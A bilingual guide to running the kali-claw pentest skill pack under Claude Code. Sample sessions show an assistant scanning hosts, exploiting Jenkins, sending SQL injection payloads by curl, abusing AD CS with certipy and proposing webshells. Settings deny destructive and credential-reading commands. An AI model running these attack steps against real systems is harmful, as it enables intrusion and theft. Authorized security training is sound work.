        - Excluded: DoS, social engineering, physical intrusion

        I will execute per PTES + OWASP流程:

        ═══ Phase 1: Reconnaissance (30 min) ═══
        [loads recon-osint + osint + deep-research]
        [Bash] bash validation/orchestrator.sh --target 10.10.10.10 --phase recon

        ... (executing, prompting confirmation at each step)

        ═══ Phase 2: Scanning (30 min) ═══
        [loads network-pentest]
        [Bash] nmap -sV -sC -p- 10.10.10.10
        [MCP] kali-nmap nmap_scan target=10.10.10.10 scan_type=-A ports=1-65535

        ...

        ═══ Phase 3: Exploitation (1 hr) ═══
        Found 22 (SSH), 80 (HTTP), 443 (HTTPS), 8080 (Jenkins)
        [loads ci-cd-supply-chain-attack]
        [Bash] curl -s http://10.10.10.10:8080/jenkins/
        → Jenkins 2.441 (CVE-2024-23897 args4j arbitrary file read)

        ... (exploitation chain unfolds)

        ═══ Phase 4: Post-Exploitation (30 min) ═══
        [loads post-exploitation + privilege-escalation]
        ...

        ═══ Phase 5: Report Generation (30 min) ═══
        [loads pentest-reporting + article-writing]
        [Bash] bash validation/report-generator.sh \
                 --source memory/2026-06-28.md \
                 --format markdown \
                 --output reports/2026-06-28-10.10.10.10.md

        Report generated: reports/2026-06-28-10.10.10.10.md (12 pages)
        - Executive summary: 3 high, 2 medium, 4 low
        - Attack chain visualization: 5 independent paths, longest 6 steps to Domain Admin
        - Fix priority: patch CVE-2024-23897 first (Critical)

        Also recorded to chronicle/2026/06/28-10.10.10.10.md.

    Collaboration highlights:

    • engagement-manager is the top-level coordinator, triggering other skills per PTES
    • safety-guard checks .scope before each tool invocation
    • validation/orchestrator.sh is the Bash landing — combining orchestration scripts with Claude's intelligence
    • Reports auto-written to reports/ and chronicle/

    6.6 Pattern E: Learning / Training

    You: I want to learn AD CS attacks, from intro to practical

Claude: [loads deep-research + ad-cs-abuse]
        [reads skills/ad-cs-abuse/SKILL.md + guides/]

        Based on kali-claw's ad-cs-abuse skill, here's a 5-day learning plan:

        Day 1: Theory Foundations
        - Read skills/ad-cs-abuse/SKILL.md (understand certificate templates, CA types)
        - Read guides/cert-templates-deep-dive.md
        - Key concepts: ENROLLEE_SUPPLIES_SUBJECT, CLIENT_AUTHENTICATION, SAN

        Day 2: ESC1-ESC4 (Configuration Errors)
        - Use certipy to find vulnerable certificate templates in the lab
        - Hands-on: certipy find -u user@lab.local -p Pass -dc-ip DC01 -vulnerable

        Day 3: ESC5-ESC8 (Deeper Errors)
        - NTLM Relay to AD CS HTTP Endpoints (ESC8)
        - PetitPotam + NTLM Relay chain

        Day 4: CVE Reproduction
        - Certifried (CVE-2022-26923): full reproduction with certipy
        - PKINIT troubleshooting

        Day 5: Detection and Defense
        - Read the Defense Perspective section of SKILL.md
        - Deploy 10 KQL/SPL/Sigma detection rules (from guides/detection-rules.md)

        Lab environment recommendation:
        docker run -d -p 389:389 --name lab-dc lab.local/dc:latest
        # Or use the GOAD (Game Of Active Directory) project

        Want me to set up the lab for you first?

    6.7 Pattern F: Cross-Tool Verification (verification-loop)

    You: I just found SQL injection with sqlmap, but the customer says it doesn't reproduce. Help me verify independently.

Claude: [loads verification-loop skill]
        [reads skills/verification-loop/SKILL.md 4-stage flow]

        Independent verification flow:

        Verification 1: Manual curl (no sqlmap dependency)
        [Bash] curl -s "http://target/page?id=1' UNION SELECT database(),version(),user()-- -"
        → Output contains DB name, version, username → Confirmed

        Verification 2: Burp Suite Repeater (different HTTP client)
        - I'll provide the full Burp request, you send it in Burp
        - This verifies it's not a curl/sqlmap client-specific quirk

        Verification 3: Time-based blind independent confirmation
        [Bash] time curl -s "http://target/page?id=1' AND SLEEP(5)-- -"
        → Response time 5.0+ sec → Independent confirmation

        Verification 4: Error log cross-reference
        [Bash] (if log access) grep -i "sql" /var/log/mysql/error.log

        ✓ 4 independent methods all confirm SQL injection exists
        ✓ No reliance on any single tool

        Writing verification report: memory/2026-06-28-sqli-verification.md

    6.8 Pattern G: Debugging / Retrospective

    You: I ran ESC1 with certipy, but it failed. Log says "certificate request denied".

Claude: [loads search-first + ad-cs-abuse]
        [reads skills/ad-cs-abuse/guides/troubleshooting.md]

        Common ESC1 failure causes (by frequency):

        1. Certificate template requires CA Manager approval (Pending mode)
           Check: certutil -view -restrict "Request Disposition=Pending"
           Fix: switch to another ESC1 template that doesn't require approval

        2. Target user lacks Enroll permission
           Check: certutil -view -restrict "Template=<TemplateName>"
           Fix: use PKI Health Check tool to find permission config

        3. CA service unreachable (RPC ports blocked by firewall)
           Check: nc -z DC01 135 && nc -z DC01 49152-65535
           Fix: open RPC ports

        4. Certificate template isn't actually ESC1 (misidentified)
           Check: certipy template -u user -p Pass -template <name> -save
           Fix: re-run certipy find -vulnerable to confirm

        Please paste the full command and error, I'll pinpoint it.

    6.9 Collaboration Best Practices

    DO:

    • Use @ for file references instead of "read xxx file" — more reliable, more token-efficient
    • Open Plan Mode first for complex tasks (Shift+Tab) — let Claude list a plan, confirm, then execute
    • Use /compact for long sessions — intelligently compresses history to avoid context overflow
    • /memory add right after writing a finding — let Claude record to MEMORY.md
    • Use --max-turns 50 for long tasks — prevent Claude from stopping midway
    • Use /agents to manage subagents — periodically clean up outdated ones

    DON'T:

    • Don't write payloads from memory — let Claude pull from payloads.md to avoid hallucinations
    • Don't let Claude skip safety-guard — scope check is a safety gate by design
    • Don't accept file writes without reviewing the diff — use Shift+Tab to enter Plan Mode to see changes
    • Don't write real credentials in memory files — explicitly forbidden by kali-claw rules
    • Don't build all 139 skills as subagents — pick 5-10 high-frequency ones

    7. Usage Scenarios

    7.1 Full Penetration Testing Workflow

    (See §6.5 Pattern D for the complete example)

    7.2 Security Audit

    You: Use the security-auditor agent to perform an OWASP audit on http://testphp.vulnweb.com

Claude: [loads security-auditor subagent]
        [reads skills/security-review/SKILL.md]
        Auditing per OWASP Top 10:

        A01 - Broken Access Control
        [check] Found IDOR — unauth access to other users' data

        A02 - Cryptographic Failures
        [check] HTTP not redirecting to HTTPS

        A03 - Injection
        [check] Found SQL injection and XSS

        A05 - Security Misconfiguration
        [check] Default config, error messages expose stack traces

        A07 - Auth Failures
        [check] No rate limiting on login — brute-forceable

        Overall rating: High risk
        Priority fixes: A03 Injection + A01 Access Control

    7.3 Learning and Research

    (See §6.6 Pattern E)

    7.4 Council Multi-Perspective Analysis

    You: Use council mode to analyze the SQL injection we found

Claude: [loads skills/council/SKILL.md]
        Launching Council multi-perspective analysis:

        [Attacker Perspective]
        - Can achieve full DB control via SQL injection
        - May achieve RCE through FILE privileges
        - Suggested tests: write webshell, read /etc/passwd

        [Defender Perspective]
        - Root cause: no parameterized queries
        - Fix: prepared statements + WAF
        - Detection: monitor abnormal SQL patterns

        [Auditor Perspective]
        - CVSS: 9.8 (Critical)
        - Compliance impact: violates OWASP A03, PCI-DSS 6.5
        - Need full written attack chain documentation

        Consensus: fix immediately, and check other pages for the same class.

    7.5 Report Generation

    You: Help me generate a security report for all findings today

Claude: [loads skills/article-writing/SKILL.md]
        Generating per article-writing methodology:

        ## Security Assessment Report

        ### Metadata
        - Assessment date: 2026-06-28
        - Target: target.com
        - Methodology: OWASP Top 10 + PTES

        ### Findings Summary
        | ID | Title | CVSS | Status |
        |----|-------|------|--------|
        | V-001 | SQL Injection | 9.8 | Open |
        | V-002 | XSS (Reflected) | 6.1 | Open |
        | V-003 | IDOR | 5.3 | Open |

        ### Detailed Findings
        [For each vuln: description, reproduction, evidence, impact, remediation]

        [Report written to memory/2026-06-28-report.md]

    8. FAQ

    Q1: Can Claude Code run on Kali Linux?

    Yes. Kali Linux is Debian-based; all three methods work:

    # Method 1: Native installer (recommended)
curl -fsSL https://claude.ai/install.sh | bash

# Method 2: npm (requires Node.js >= 18)
sudo apt install -y nodejs npm
npm install -g @anthropic-ai/claude-code

# Method 3: nvm + npm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash
nvm install --lts
npm install -g @anthropic-ai/claude-code

# Verify
claude --version

    Q2: MCP server fails to connect

    # 1. Check Python and MCP SDK
python3 --version
pip show mcp

# 2. Manually test the MCP server
python3 ~/kali-mcp-servers/nmap_server.py
# Should start without errors

# 3. Check .mcp.json paths (use absolute paths)
cat .mcp.json

# 4. View MCP status inside Claude
/mcp

# 5. Permissions
chmod +x ~/kali-mcp-servers/*.py

    Q3: Custom Subagent does not trigger

    # 1. Check location
ls ~/.claude/agents/

# 2. Check frontmatter
head -8 ~/.claude/agents/web-sqli-analyzer.md
# Must start with --- and include name + description

# 3. View in-session
/agents

# 4. Description must be descriptive enough (Claude matches by description)
# Bad:  description: A security tool
# Good: description: SQL injection specialist. Covers Union/Blind/Time-based/Error-based. Use PROACTIVELY for any SQLi task.

    Q4: How do I keep the kali-claw project updated

    cd kali-claw
git pull origin main

# Skill symlinks see new content automatically, no rebuild needed
# Subagents reference file paths, content updates take effect immediately

# After pulling, run a quality scoring pass
bash validation/SCORE.sh

    Q5: Will Claude Code's memory be lost

    No. Claude Code's memory is stored on disk in ~/.claude/projects/<hash>/memory/. Even after closing Claude Code, the memory persists when you open the same project next time.

    Q6: How to use the Skills system

    Since 2025 Claude Code natively supports the Skills directory. Three usage methods:

    1. Skills directory (recommended): ~/.claude/skills/<name>/SKILL.md auto-scanned
    2. Subagent: convert high-frequency skills to subagents with tool permissions and operating procedures
    3. Manual reference: @skills/<name>/SKILL.md directly in conversation

    Q7: Can I use both OpenClaw and Claude Code

    Yes. Both share the same skills/ directory:

    • OpenClaw reads SOUL.md + AGENTS.md + skills/ as a workspace
    • Claude Code reads CLAUDE.md + ~/.claude/agents/ + skills/ as a project

    They do not conflict — just different runtimes. Choose based on scenario:

    • Heavy orchestration, multi-agent collaboration, autonomous loops → OpenClaw (stronger workspace lifecycle management)
    • Daily development, IDE integration, native Claude capabilities → Claude Code (better conversation experience and context)

    Q8: How to configure remote Kali

    Three approaches:

    1. Direct SSH: Claude Code uses the Bash tool to execute ssh user@kali-host "nmap ..."
    2. MCP remote mode: MCP server invokes remote Kali tools via SSH (see §5.1)
    3. VS Code Remote: VS Code Remote SSH connects to Kali, remote terminal runs Claude Code

    Q9: Do I need to modify kali-claw's skill files

    No. This is a core design principle of this guide. All 139 skill domains under skills/ remain completely unchanged. Claude Code reads them in place. Migration only involves:

    • Appending to CLAUDE.md (project-level config, not a skill file)
    • Creating new files in ~/.claude/agents/ that reference skills/ paths
    • Creating symlinks in ~/.claude/skills/
    • Creating rule files in ~/.claude/rules/
    • Creating MCP servers and Hook scripts

    None of these steps touch any file under skills/.

    Q10: How to create Subagents for all 139 skills

    You don't need to build all of them. Recommended strategy:

    • High-frequency skills as Subagents (5-10): web-sqli, network-pentest, ad-cs-abuse, pam-privilege-attack, ci-cd-supply-chain-attack, cloud-identity-attack, kubernetes-attack, security-auditor
    • Others as Skills symlinks (111 at once): via the batch symlink script in §4.2
    • Occasionally-used skills: directly @skills/<name>/SKILL.md (minimal migration approach)

    Q11: Claude Code access is unstable from mainland China

    • Configure a proxy: export HTTPS_PROXY=http://your-proxy:port
    • Use Bedrock / Vertex AI: go through AWS / GCP, no direct Anthropic connection
    • Switch npm registry: npm config set registry https://registry.npmmirror.com (affects npm package download only, not runtime)
    • Use an Anthropic API reverse proxy: self-host a reverse proxy and point ANTHROPIC_BASE_URL to it

    Q12: How to integrate with kali-claw's SCORE.sh quality system

    Claude Code invokes it directly via the Bash tool:

    # Score a single skill
> Score web-sqli

Claude: [Bash]
        bash validation/SCORE.sh --skill web-sqli
        → 92.0 (Distinguished)

# Find the weakest skills
> List the 5 lowest-scoring skills

Claude: [Bash]
        bash validation/SCORE.sh | jq 'sort_by(.overall_score) | .[0:5]'

    Q13: What's the difference between Plan Mode and normal mode

    In Plan Mode (Shift+Tab), Claude reads but does not write:

    • Can read files, run read-only commands (grep, find, ls)
    • Cannot Write / Edit / run destructive Bash
    • Suitable for: reviewing a project before acting, producing implementation plans, checking whether Claude understands correctly

    You must exit Plan Mode (via the ExitPlanMode tool) to execute changes.

    Q14: How to make Claude auto-load multiple skills (multi-skill orchestration)

    Three approaches:

    1. engagement-manager subagent (recommended): purpose-built for orchestration, triggers other skills per PTES
    2. council skill: multi-perspective analysis that forces coverage of attacker / defender / auditor
    3. CLAUDE.md directives: write "complex tasks must read skills/deep-research/SKILL.md first for planning" in project instructions

    9. Architecture Comparison and Reference

    9.1 Complete Mapping Table

    kali-claw (OpenClaw)Claude CodeMigration Method
    SOUL.md (personality)CLAUDE.mdAppend key content
    USER.md (user info)CLAUDE.md / ~/.claude/settings.jsonManual configuration
    AGENTS.md (session config)CLAUDE.md + ~/.claude/rules/Extract rules
    skills/*/SKILL.md~/.claude/skills/ (symlink) + ~/.claude/agents/ (high-frequency)Symlink primary, subagent secondary
    skills/*/payloads.mdProject files (subagent references)Keep in place
    skills/*/test-cases.mdProject files (subagent references)Keep in place
    skills/*/guides/Project filesKeep in place
    MEMORY.md~/.claude/projects/.../memory/Copy
    memory/*.md~/.claude/projects/.../memory/Copy recent
    chronicle/Project filesKeep in place
    TOOLS.mdProject files + MCP serversPartial conversion
    HEARTBEAT.md~/.claude/settings.json HooksManual configuration
    validation/SCORE.shBash tool direct invocationDon't migrate, use directly
    validation/orchestrator.shBash tool direct invocationDon't migrate, use directly
    validation/engagement-template/.scope file + engagement-managerPartial conversion
    12 Hacker Laws~/.claude/rules/Extract as rules

    9.2 Migration Checklist

    Minimal migration (5 minutes):

    • Install Claude Code via native installer (curl -fsSL https://claude.ai/install.sh | bash)
    • Complete authentication (OAuth or API Key)
    • Clone the kali-claw project
    • Launch claude in the project directory
    • Verify @CLAUDE.md reads the project description

    Standard migration (30 minutes):

    • Complete §4.1: append Security Agent Mode to CLAUDE.md
    • Complete §4.2: batch symlink 137 skills into ~/.claude/skills/
    • Complete §4.3: create 5-10 high-frequency subagents
    • Complete §4.4: create ~/.claude/rules/kali-claw-security.md
    • Complete §4.5: configure ~/.claude/projects/<hash>/memory/
    • Verify /skills shows ~137 skills

    Complete migration (2-3 hours):

    • Complete all standard migration steps
    • Complete §5.1: create MCP servers (nmap, sqlmap, optional remote)
    • Complete §5.2: configure Hooks (PreToolUse + Stop)
    • Complete §5.3: test bash validation/SCORE.sh and bash validation/orchestrator.sh
    • Create .scope authorized scope file
    • End-to-end test: full authorized pentest + report generation

    9.3 Performance Comparison

    MetricOpenClawClaude Code
    First startupRequires framework install + agent creationNative installer + OAuth, within 5 minutes
    Skill loadingAll loaded at session startProgressive disclosure (frontmatter → SKILL.md → details)
    Tool invocationThrough terminal commandsBash + MCP (structured I/O)
    Context windowLimited by frameworkClaude native (200K+ tokens, with Extended Thinking)
    Multi-sessionMulti-agent supportMulti-tab + --resume
    Update maintenanceSync framework and skillsgit pull + claude update
    IDE integrationNoneVS Code / JetBrains native
    DebuggingFile-level logs/status real-time tokens, Ctrl+O verbose mode

    Built with Claude Code + kali-claw v0.2.1 (139 skill domains / 33 Distinguished / 100% Excellent+). For questions or feedback, please open an issue on GitHub.

  • kali-claw-pentest-agent/GUIDE-CLAUDECODE-zh.mdmarkdown · 67.7 KB

    kali-claw 技能包迁移指南：在 Claude Code 上使用

    ⚠️ 更新说明（2026-08-08）：本指南已更新至 kali-claw v0.2.4（Phase 2 Track 1 Minor Release）。主要变化：

    • 139 个技能域（v0.2.4 新增 eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack；早期版本为 49/111/130/137）
    • 全部 139 个 SKILL 达到 v0.2.0.2 标准（v0.2.4 起），含完整 Defense Triple — 100% 覆盖
    • 新增 7 个战略 SKILL：ai-safety-redteam-advanced、identity-provider-attack、data-loss-prevention-bypass、edge-computing-security、quantum-cryptography-transition、hardware-side-channel-advanced、5g-6g-telecom-attack-advanced
    • 生成 6 个文档：SKILL_HANDBOOK、QUICK_REFERENCE、SKILL_INDEX.json、DOMAIN_MATRIX、TOOLS_LIFECYCLE、SKILL_MAINTENANCE
    • 5 个自动化脚本：skill-lint.py、validate-payloads.py、validate-testcases.py、GitHub Actions CI/CD、update-skill-standard.py
    • v0.2.4 关键变化：MAJOR 工具升级修复（frida 17 / hashcat 7 / docker 29）；Defense Perspective 内容质量改进；2 个新 SKILL 落地
    • skill-lint 0 errors / 0 warnings, 139/139 clean pass（v0.2.3 起）
    • 详见 RELEASE-v0.2.4.md（最新）；历史：RELEASE-v0.2.1.md

    本指南中关于 agent 工具的命令和配置步骤仍然准确，仅更新了 kali-claw 侧的元数据。

    面向 v0.1.39 | 将 kali-claw 安全技能包（137 个技能域、518 工具）迁移到 Anthropic 官方 CLI 工具 Claude Code 的完整指南

    一、概述

    1.1 Claude Code 是什么

    Claude Code 是 Anthropic 推出的 官方命令行工具，直接在终端中与 Claude 交互。它不是一个聊天机器人的封装，而是 Claude 的 原生运行时——Claude Code 本身就是运行环境。

    核心能力：

    • CLI 接口 — 在终端中直接使用 Claude，支持多轮对话和上下文管理
    • CLAUDE.md 项目指令 — 项目根目录下的 Markdown 文件，定义 Claude 在该项目中的行为规则（类似系统提示词）
    • 自定义智能体（Subagents） — 放在 ~/.claude/agents/ 目录下的专业提示文件，可用 Task 工具调用
    • 规则（Rules） — 放在 ~/.claude/rules/ 下的行为准则，对所有项目或特定项目生效
    • 技能（Skills，2025 新增） — 放在 ~/.claude/skills/ 下、符合 Agent Skills 开放标准的目录式技能包
    • MCP 服务器 — 通过 Model Context Protocol 集成外部工具，让 Claude 直接调用 nmap、sqlmap 等命令
    • 记忆系统 — 持久化的会话记忆，存储在 ~/.claude/projects/<project-hash>/ 目录
    • Hooks — 在工具调用前/后自动执行的 Shell 命令（PreToolUse / PostToolUse / Stop / SessionStart 等）
    • 输出风格（Output Styles） — Explanatory / Learning / Fast（流式加速）
    • IDE 集成 — VS Code / JetBrains 自动检测并嵌入
    • Plan Mode — Shift+Tab 切换，结构化探索 + 计划，不会实际改动文件
    • 后台任务 / 并行 Agent — run_in_background 和单消息多 Task 调用

    与 OpenClaw 的关键区别：

    特性OpenClawClaude Code
    运行时独立的 npm 框架Claude 原生 CLI，无需额外框架
    技能系统Markdown 文件，由框架解析Markdown 文件 + Skills 目录 + 自定义智能体
    工具调用通过终端命令通过 Bash 工具 + MCP 服务器
    记忆持久化文件系统（memory/ 目录）文件系统（~/.claude/projects/）
    安装依赖需要 Node.js + OpenClaw只需要 Claude Code 本身（原生安装器无需 Node.js）
    上下文窗口受框架限制Claude 原生上下文（200K+ tokens）

    1.2 kali-claw 技能包的价值（v0.1.39）

    kali-claw 包含 139 个安全技能域 和 518 个 Kali Linux 工具知识库，是一套结构化、可量化评分的安全测试知识体系：

    • 每个技能域包含：SKILL.md（方法论 + YAML frontmatter）+ payloads.md（攻击载荷）+ test-cases.md（测试用例）+ guides/（深度指南）
    • 根级配置：SOUL.md（12 条黑客法则）、IDENTITY.md（111 行技能标签）、TOOLS.md（518 工具清单）
    • 质量分级：33 Distinguished（92+）/ 78 Excellent（80-91.9）/ 0 Strong / 0 Weak，137/137 = 100% Excellent+
    • Agent Skills 开放标准合规 — 所有 SKILL.md 使用 Anthropic 2025 年发布的 YAML frontmatter 标准
    • 配套验证/编排脚本 — validation/ 下 10+ 个 Bash 脚本（SCORE.sh、orchestrator.sh、scenario-runner.sh、heartbeat.sh 等）

    核心优势：kali-claw 的技能本质上是 Markdown 文件，可以直接被 Claude Code 读取和使用，无需格式转换。Claude Code 自带的 Skill 工具原生支持 Agent Skills 标准。

    1.3 迁移策略总览

    迁移不需要"转换格式"，只需要正确地放置和引用。提供三种迁移深度：

    迁移方式耗时获得能力适合谁
    最小迁移5 分钟直接在 Claude Code 中引用技能文件想快速体验的用户
    标准迁移30 分钟自定义智能体 + 规则 + 记忆系统 + Skills 目录日常使用的用户
    完整迁移2-3 小时MCP 工具集成 + Hooks 自动化 + 编排脚本接入 + 完整智能体矩阵专业渗透测试工程师 / 红队

    二、环境准备

    2.1 安装 Claude Code（关键步骤）

    Claude Code 支持三种安装方式，按推荐度排序：

    方式 A：原生安装器（推荐，无需 Node.js）

    Anthropic 官方推荐的原生二进制安装器——比 npm 包启动更快、内存占用更低、不需要 Node.js 环境。

    # macOS / Linux
curl -fsSL https://claude.ai/install.sh | bash

# 验证
claude --version

# 首次启动（交互式登录流程）
claude

    # Windows (PowerShell)
irm https://claude.ai/install.ps1 | iex

# 验证
claude --version

    原生安装器的优势：

    • 不依赖 Node.js（在 Kali minimal、Alpine、容器内尤其友好）
    • 启动时间 < 1 秒（npm 版本约 2-3 秒）
    • 自带更新机制：claude update
    • 二进制体积约 50MB，比 npm 全局包小

    方式 B：npm 全局安装（经典方式，需 Node.js >= 18）

    # 安装
npm install -g @anthropic-ai/claude-code

# 验证
claude --version

    适用场景：已经装了 Node.js、需要保持和其他 npm 工具一致、或想用 npm update -g 统一升级。

    方式 C：IDE 自动安装（VS Code / JetBrains）

    打开 VS Code 或任意 JetBrains IDE，安装 "Claude Code" 扩展，扩展会自动引导安装 CLI。安装完成后，IDE 内嵌终端可以直接 claude 启动，并能与编辑器联动（高亮文件、跳转定义、显示 diff）。

    2.1.1 认证（首次启动必做）

    claude 首次启动会进入交互式登录流程，三种登录方式：

    方式适用计费
    Claude Pro/Max/Team/Enterprise 订阅已订阅 claude.ai 的用户包含在订阅内（有用量上限）
    Anthropic Console API Key开发者 / 企业按 token 付费（pay-as-you-go）
    Amazon Bedrock / Vertex AI企业云客户走云厂商账单

    用订阅登录：在终端选择 "Login with Claude.ai"，浏览器会打开 OAuth 页面，授权后回到终端，token 自动存入 ~/.claude/credentials.json。

    用 API Key 登录：

    # 方式 1：交互式输入（推荐，token 存到 keychain）
claude
# 选择 "Use API key"，粘贴 sk-ant-...

# 方式 2：环境变量（适合 CI/容器）
export ANTHROPIC_API_KEY="sk-ant-api03-..."
claude

    2.1.2 配置 settings.json（用户级 + 项目级）

    Claude Code 的配置分三层（优先级从高到低）：

    Enterprise policy  >  Project (.claude/settings.json)  >  User (~/.claude/settings.json)

    用户级配置 ~/.claude/settings.json（首次创建）：

    {
  "model": "claude-opus-4-7",
  "env": {
    "ANTHROPIC_API_KEY": "sk-ant-api03-..."
  },
  "permissions": {
    "allow": [
      "Bash(nmap:*)",
      "Bash(sqlmap:*)",
      "Bash(dig:*)",
      "Bash(curl:*)",
      "Read(**)",
      "Grep(**)",
      "Glob(**)"
    ],
    "deny": [
      "Bash(rm -rf /*)",
      "Bash(sudo:*)",
      "Read(./.env)",
      "Read(./credentials*)"
    ]
  },
  "outputStyle": "default",
  "alwaysThinkingEnabled": true
}

    项目级配置 <project>/.claude/settings.json（在 kali-claw 项目里）：

    {
  "permissions": {
    "allow": [
      "Bash(bash validation/*)",
      "Bash(python3 validation/*)",
      "Read(skills/**)",
      "Read(memory/**)"
    ]
  }
}

    项目级 allow 会叠加到用户级之上。

    2.1.3 常用 CLI 参数和 slash 命令

    启动参数：

    claude                          # 交互式（最常用）
claude --resume                 # 恢复上次会话（保留上下文）
claude --continue               # 继续上次会话（同上，简写 -c）
claude -p "查一下 192.168.1.1" # 单次 print 模式，输出后退出
claude --model claude-sonnet-4-6 # 临时切模型
claude --output-format json     # 输出 JSON（脚本集成用）
claude --max-turns 20           # 单会话最多 20 轮（CI 用）

    会话内 slash 命令（最常用的 15 个）：

    命令作用
    /help查看所有命令
    /status当前模型、token 用量、登录状态
    /model切换模型（Opus / Sonnet / Haiku）
    /clear清空当前会话上下文
    /compact智能压缩历史（保留要点）
    /resume列出最近会话，选一个恢复
    /config编辑 settings.json
    /agents列出 / 编辑自定义 subagents
    /rules列出 / 编辑规则文件
    /hooks列出 / 编辑 hooks
    /mcp列出已连接的 MCP 服务器
    /permissions查看 / 修改权限规则
    /fast切换 Fast 模式（Opus 加速输出）
    /init在当前项目生成 CLAUDE.md 骨架
    /ide手动触发 IDE 集成

    常用快捷键：

    快捷键作用
    Shift+Tab切换 Plan Mode（只读探索 + 计划）
    Ctrl+O详细模式（显示思考过程）
    Option+T / Alt+T切换 Extended Thinking
    Esc中断当前任务
    @输入文件路径，Claude 自动读取
    !前缀直接执行 shell 命令（输出回到对话）

    2.1.4 常见安装/启动问题

    问题解决方案
    权限不足 (EACCES，npm 方式)sudo npm install -g @anthropic-ai/claude-code 或换原生安装器
    npm 镜像超时（国内用户）npm config set registry https://registry.npmmirror.com
    Node.js 版本过低（npm 方式）nvm install --lts
    原生安装器在容器内失败容器内加 --user $(id -u):$(id -g) 或切 npm 方式
    OAuth 登录卡住改用 API Key（export ANTHROPIC_API_KEY=...）
    claude --version 报 command not found检查 PATH 是否包含 ~/.local/bin（原生）或 npm global bin（npm）
    IDE 扩展找不到 CLI在 IDE 终端里手动跑一次 claude --version 让扩展检测到
    国内网络访问 Anthropic 失败配置 HTTP(S)_PROXY 环境变量；或使用 Bedrock / Vertex AI 部署

    2.2 准备 Kali Linux 环境

    选择以下三种方案之一：

    方案 A：Kali Linux 本机（推荐）

    # 直接在 Kali 上运行 Claude Code
nmap --version  # 验证工具可用
sqlmap --version
hydra -h | head -1

    方案 B：远程 Kali（SSH 访问）

    # 生成 SSH 密钥
ssh-keygen -t ed25519 -C "kali-claw"

# 复制公钥到远程 Kali
ssh-copy-id user@kali-host

# 验证连接
ssh user@kali-host "nmap --version && sqlmap --version"

    方案 C：Docker 容器

    # 拉取并启动 Kali 容器
docker pull kalilinux/kali-rolling
docker run -it --name kali-env kalilinux/kali-rolling /bin/bash

# 在容器内安装安全工具
apt update && apt install -y nmap sqlmap nikto hydra metasploit-framework

# 退出后重新进入
docker start -ai kali-env

    2.3 克隆 kali-claw 工作空间

    git clone https://github.com/brucesongs/kali-claw.git
cd kali-claw

    验证文件结构（v0.1.39 应包含 137 个技能域）：

    ls -la
# 应看到：SOUL.md  AGENTS.md  IDENTITY.md  USER.md  MEMORY.md
#         TOOLS.md  HEARTBEAT.md  CHANGELOG.md  CLAUDE.md  VERSION
#         skills/  memory/  chronicle/  validation/  docs/  bak/

ls skills/ | wc -l
# 应输出 111（或接近，取决于版本）

    2.4 环境检查清单

    • Claude Code 已安装（claude --version 输出 >= 1.0.x）
    • 认证完成（claude 启动时显示 "Logged in as ..."）
    • ~/.claude/settings.json 已配置 API Key 或 OAuth token
    • Kali Linux 可用（本机 / SSH 远程 / Docker 容器）
    • kali-claw 已克隆到本地，ls skills/ | wc -l ≈ 111
    • 基本 Kali 工具可用（nmap --version 验证）
    • 网络连接正常（能访问 api.anthropic.com）

    2.5 首次启动验证（重要）

    cd kali-claw
claude

    进入会话后，输入以下验证对话：

    > @CLAUDE.md 总结一下这个项目是什么

预期：Claude 读取 CLAUDE.md，给出关于 kali-claw 的简短描述
（包含 137 个技能域、12 条黑客法则、Agent Skills 标准等关键词）

> 列出 skills/ 目录下的所有子目录，按字母排序

预期：Claude 调用 Bash 或 Glob，返回约 137 个技能域名称

> 读取 SOUL.md 的 12 条黑客法则

预期：Claude 读取并复述 12 条法则

    三步全部正常，说明环境就绪。

    三、方式一：最小迁移（5 分钟）

    3.1 直接打开项目

    cd kali-claw
claude

    Claude Code 启动时会 自动读取项目根目录的 CLAUDE.md 作为项目指令。kali-claw 的 CLAUDE.md 已经包含项目概述和架构说明，Claude 会理解这是一个安全测试知识库。

    3.2 开始使用

    直接用自然语言对话，让 Claude 读取对应的技能文件。用 @ 引用文件能让 Claude 自动读取，比写"阅读 xxx"更高效：

    你：@skills/web-sqli/SKILL.md 帮我分析一个 SQL 注入漏洞

Claude：[自动加载 SKILL.md 内容]
      我已了解 SQL 注入技能的方法论。这个技能覆盖：
      - Union-based / Error-based / Boolean-blind / Time-blind
      - Double Query / Stacked Queries / Out-of-band
      还覆盖了 7 步攻击链：识别 → 指纹 → 检测 → 数据提取 → ...
      请提供目标信息。

    你：@skills/web-sqli/payloads.md 给我一个 UNION 注入载荷

Claude：[加载 payloads.md]
      基于 payloads.md 中 UNION Injection 部分，标准载荷：

      ' UNION SELECT 1,2,3-- -

      步骤：
      1. ORDER BY 确定列数：' ORDER BY 5-- -
      2. 找回显位：' UNION SELECT 1,2,3-- -
      3. 提取数据：' UNION SELECT database(),version(),user()-- -

    你：按 @skills/web-sqli/test-cases.md TC-S001 执行测试，目标是 http://testphp.vulnweb.com/listproducts.php?cat=1

Claude：[加载 test-cases.md，按 TC-S001 步骤执行]
      Step 1: 单引号触发错误
      [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1'" | head -20
      [结果] MySQL 错误信息泄露

      Step 2: 字符型注入确认
      [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='1"
      [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='2"
      [对比] AND '1'='1 正常返回，AND '1'='2 返回空

      ✓ 确认 SQL 注入（字符型，单引号闭合）
      建议下一步：用 sqlmap 自动化提取

    3.3 最小迁移的局限

    • 每次都要手动 @ 引用技能文件路径
    • 没有持久记忆 — 关闭会话后，Claude 不记得之前的分析结果
    • 没有自动化智能体 — 无法用 Task 工具调用专业 subagent
    • 没有工具集成 — 不能直接调用 sqlmap、nmap 等（除非每次都让 Claude 用 Bash）
    • 没有 Skills 目录 — Claude 不会在每次扫描时自动加载 frontmatter

    适合：快速体验、临时测试、一次性任务。

    四、方式二：标准迁移（30 分钟）

    4.1 配置 CLAUDE.md（项目指令）

    在 kali-claw 项目的 CLAUDE.md 末尾追加安全智能体的行为指令：

    ## Security Agent Mode

When the user requests security testing, vulnerability analysis, or penetration testing tasks, activate Security Agent Mode:

### Role
You are kali-claw, a senior penetration testing engineer. You operate under the 12 Hacker Laws defined in SOUL.md.

### Behavioral Guidelines
- Read SOUL.md for the 12 Hacker Laws before any security operation
- Always verify authorization scope before testing
- Follow the methodology defined in the relevant SKILL.md
- Use payloads from payloads.md, not improvisation
- Document findings per test-cases.md format
- Never execute destructive commands without explicit user confirmation

